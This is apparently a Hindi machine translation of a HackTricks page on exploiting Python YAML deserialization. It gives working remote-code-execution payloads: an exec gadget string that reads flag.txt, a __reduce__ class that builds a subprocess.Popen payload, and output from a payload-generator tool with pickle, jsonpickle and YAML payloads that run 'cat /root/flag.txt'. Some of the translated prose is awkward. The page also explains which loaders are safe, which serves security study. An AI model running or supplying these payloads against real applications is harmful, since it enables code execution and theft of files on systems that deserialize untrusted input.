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जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Yaml डिसीरियलाइजेशन

Yaml python पुस्तकालय भी पायथन ऑब्जेक्ट्स को सिर्फ रॉ डेटा ही नहीं, सिरीयलाइज़ करने में सक्षम है:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

जांचें कि tuple एक कच्चा प्रकार का डेटा नहीं है और इसलिए इसे सिरीकरण किया गया था। और यही हुआ range के साथ भी (builtins से लिया गया)।

safe_load() या safe_load_all() SafeLoader का उपयोग करते हैं और क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करते। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

पिछला कोड unsafe_load का उपयोग सीरीयलाइज्ड पायथन क्लास लोड करने के लिए किया गया था। यह इसलिए है क्योंकि संस्करण >= 5.1 में, यह किसी भी सीरीयलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को डीसीरियलाइज़ करने की अनुमति नहीं देता है, Loader not specified in load() or Loader=SafeLoader।

मूल अभिशाप

नींद को चालू करने के लिए एक उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

जोखिमपूर्ण .load("<content>") लोडर के बिना

पुराने संस्करणों में pyyaml जोखिमपूर्ण थे अगर आप कुछ लोड करते समय लोडर को स्पष्ट नहीं किया: yaml.load(data)

आप यहाँ वुलनरेबिलिटी का विवरण पा सकते हैं. उस पृष्ठ में प्रस्तावित उत्पीड़न है:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

या आप इस वन-लाइनर का उपयोग भी कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

नोट करें कि हाल के संस्करणों में आप अब .load() को नहीं कह सकते हैं बिना Loader और FullLoader इस हमले के लिए अब असंरक्षित नहीं है।

RCE

कस्टम payloads को बनाने के लिए Python YAML modules जैसे PyYAML या ruamel.yaml का उपयोग किया जा सकता है। ये payloads उन systems में दोषों का शोषण कर सकते हैं जो अविश्वसनीय इनपुट को उचित सेनिटाइज़ेशन के बिना डीसीरियलाइज़ करते हैं।

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

उपकरण पेयलोड बनाने के लिए

यह उपकरण https://github.com/j0lt-github/python-deserialization-attack-payload-generator का उपयोग किया जा सकता है ताकि Pickle, PyYAML, jsonpickle और ruamel.yaml का दुरुपयोग करने के लिए पायथन डिसीरियलाइज़ेशन पेयलोड उत्पन्न किया जा सके:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: